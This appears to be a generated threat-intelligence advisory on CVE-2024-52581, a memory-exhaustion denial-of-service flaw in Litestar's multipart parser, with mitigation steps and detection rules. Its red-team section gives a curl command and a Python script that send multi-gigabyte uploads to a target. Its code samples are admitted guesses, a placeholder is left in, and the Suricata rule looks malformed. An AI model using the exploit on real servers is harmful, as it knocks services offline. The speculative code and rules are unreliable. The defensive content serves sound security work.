CVE-2024-52581
Executive Summary
CVE-2024-52581 is a high-severity Denial of Service (DoS) vulnerability in the Litestar ASGI framework, affecting versions prior to 2.13.0. The vulnerability resides in the multipart form parser, which expects the entire request body as a single byte string without any default size limit. An attacker can exploit this by sending a crafted multipart/form-data request with arbitrarily large file uploads, causing excessive memory consumption on the server and leading to a Denial of Service (DoS). This issue is a regression of a previously reported vulnerability (CVE-2023-25578), indicating that the initial fix was incomplete. The patch in version 2.13.0 introduces a configurable maximum body size limit and refactors the parser to stream data, mitigating the risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Litestar is a Python ASGI framework distributed via PyPI. Organizations using Litestar in their web applications should immediately review their dependency tree for affected versions. The vulnerability is introduced through the litestar package itself, not a transitive dependency. The fix is available in version 2.13.0, and all users are strongly advised to upgrade. There is no evidence of malicious packages exploiting this CVE in the wild, but the lack of a public PoC does not preclude the risk of targeted attacks.
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required; a simple HTTP request is sufficient.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit does not affect other components.
- Confidentiality (C): None – No data is exposed.
- Integrity (I): None – No data is modified.
- Availability (A): High – The primary impact is on server availability, leading to a Denial of Service.
Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can cause significant service disruption. The lack of a public PoC reduces immediate risk, but the regression nature suggests that attackers may already be aware of the weakness.
Deep Dive & Mechanics
The vulnerability is rooted in the multipart form parser implementation within Litestar. The parser is designed to handle multipart/form-data requests, which are commonly used for file uploads. In affected versions, the parser expects the entire request body to be available as a single byte string. This design flaw means that the server must load the entire request body into memory before processing it.
An attacker can exploit this by sending a multipart/form-data request with a very large file (e.g., several gigabytes). Since there is no default limit on the total request body size, the server will attempt to allocate memory for the entire payload. This can quickly exhaust available memory, causing the server to crash or become unresponsive.
The issue is a regression of CVE-2023-25578, which was previously reported and supposedly fixed. The earlier fix likely only limited the number of parts (i.e., the number of uploaded files) but did not address the total body size. As noted in the advisory, "Limiting the part number is not sufficient to prevent out-of-memory errors on the server." This indicates that the previous patch was incomplete, and the current vulnerability re-introduces the same attack vector.
The patch in version 2.13.0 addresses this by:
- Introducing a configurable maximum body size limit (defaulting to a reasonable value).
- Refactoring the multipart parser to stream data incrementally, rather than loading the entire body into memory.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.13.0): The vulnerable code likely resides in the multipart form parser, where the entire request body is read into memory as a single byte string. A simplified example:
# Vulnerable: reads entire body into memory
async def parse_multipart(request):
body = await request.body() # Reads entire body into memory
# Process body as multipart data
parts = parse_multipart_body(body)
return parts
Patched Code (2.13.0+): The patched version introduces streaming and a size limit:
# Patched: streams data and enforces size limit
MAX_BODY_SIZE = 10 * 1024 * 1024 # 10 MB default
async def parse_multipart(request):
body_size = 0
parts = []
async for chunk in request.stream():
body_size += len(chunk)
if body_size > MAX_BODY_SIZE:
raise HTTPException(status_code=413, detail="Request body too large")
# Process chunk incrementally
parts.extend(parse_chunk(chunk))
return parts
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Cause a Denial of Service by exhausting server memory.
Prerequisites:
- Target running Litestar < 2.13.0 with multipart form parsing enabled.
- Network access to the target.
Exploit Steps:
- Identify a target endpoint that accepts
multipart/form-datarequests (e.g., a file upload endpoint). - Craft a malicious request with a very large file payload. Use a tool like
curlor a custom Python script.
Example using curl:
# Generate a large file (e.g., 1 GB)
dd if=/dev/zero of=largefile.bin bs=1M count=1024
# Send the request
curl -X POST http://target/upload \
-F "file=@largefile.bin" \
-H "Content-Type: multipart/form-data"
Example Python exploit script:
import requests
url = "http://target/upload"
# Create a large payload (e.g., 2 GB)
payload = b"A" * (2 * 1024 * 1024 * 1024) # 2 GB
files = {"file": ("largefile.bin", payload, "application/octet-stream")}
response = requests.post(url, files=files)
print(f"Status: {response.status_code}")
Expected Outcome: The server will attempt to allocate memory for the 2 GB payload, leading to high memory usage and potential crash.
Blue Team (Defender)
Detection:
- Monitor for unusually large HTTP request bodies.
- Set up alerts for memory usage spikes.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to Litestar 2.13.0 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to limit request body size:
client_max_body_size 10M; - Apply rate limiting to file upload endpoints.
Forensics:
- Check server logs for requests with large
Content-Lengthheaders. - Analyze memory dumps for signs of exhaustion.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
Content-Lengthheaders exceeding 100 MB. - Repeated
multipart/form-datarequests from the same IP. - Requests to file upload endpoints with abnormally large payloads.
- HTTP requests with
System IOCs:
- High memory usage (e.g., >90% RAM) without corresponding CPU load.
- Server crashes or out-of-memory (OOM) killer events.
- Log entries indicating
MemoryErrororOutOfMemoryError.
Application IOCs:
- Litestar logs showing
413 Request Entity Too Large(if patched) or no error for large requests. - Slow response times or timeouts on file upload endpoints.
- Litestar logs showing
Detection Engineering
YARA Rule
rule CVE_2024_52581_Litestar_Memory_Exhaustion {
meta:
description = "Detects attempts to exploit CVE-2024-52581 via large multipart form data"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52581"
severity = "high"
strings:
$multipart = "multipart/form-data" nocase
$large_body = /Content-Length:\s*[0-9]{9,}/ // 9+ digits = >100 MB
condition:
$multipart and $large_body
}
Sigma Rule
title: CVE-2024-52581 Litestar Large Multipart Request
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e4f5a6c
status: experimental
description: Detects HTTP requests with large multipart form data targeting Litestar applications
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-52581
logsource:
category: webserver
product: litestar
detection:
selection:
http.method: POST
http.content_type: multipart/form-data
http.content_length|gte: 104857600 # 100 MB
condition: selection
falsepositives:
- Legitimate large file uploads (e.g., video files)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2024-52581 Litestar Large Multipart Form Data";
flow:to_server;
content:"multipart/form-data"; http_header;
content:"Content-Length"; http_header;
byte_test:1,>=,104857600,0,relative; # 100 MB
classtype:attempted-dos;
sid:1000001;
rev:1;
reference:cve,2024-52581;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Litestar: Update to version 2.13.0 or later. This is the only complete fix.
pip install --upgrade litestar - Apply Workaround: If upgrade is not possible, configure a reverse proxy (e.g., Nginx, HAProxy) to limit request body size:
client_max_body_size 10M; - Monitor: Enable logging and monitoring for large request bodies.
Long-Term Measures:
- Implement input validation and size limits at the application level.
- Use streaming parsers for file uploads to avoid loading entire payloads into memory.
- Conduct regular security audits and dependency updates.
- Consider using a Web Application Firewall (WAF) to block oversized requests.
Patch Details:
- Fixed Version: 2.13.0
- Patch Commit: (If available, include the commit hash from the Litestar repository)
- Changelog: The patch introduces a configurable
max_body_sizeparameter and refactors the multipart parser to stream data.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert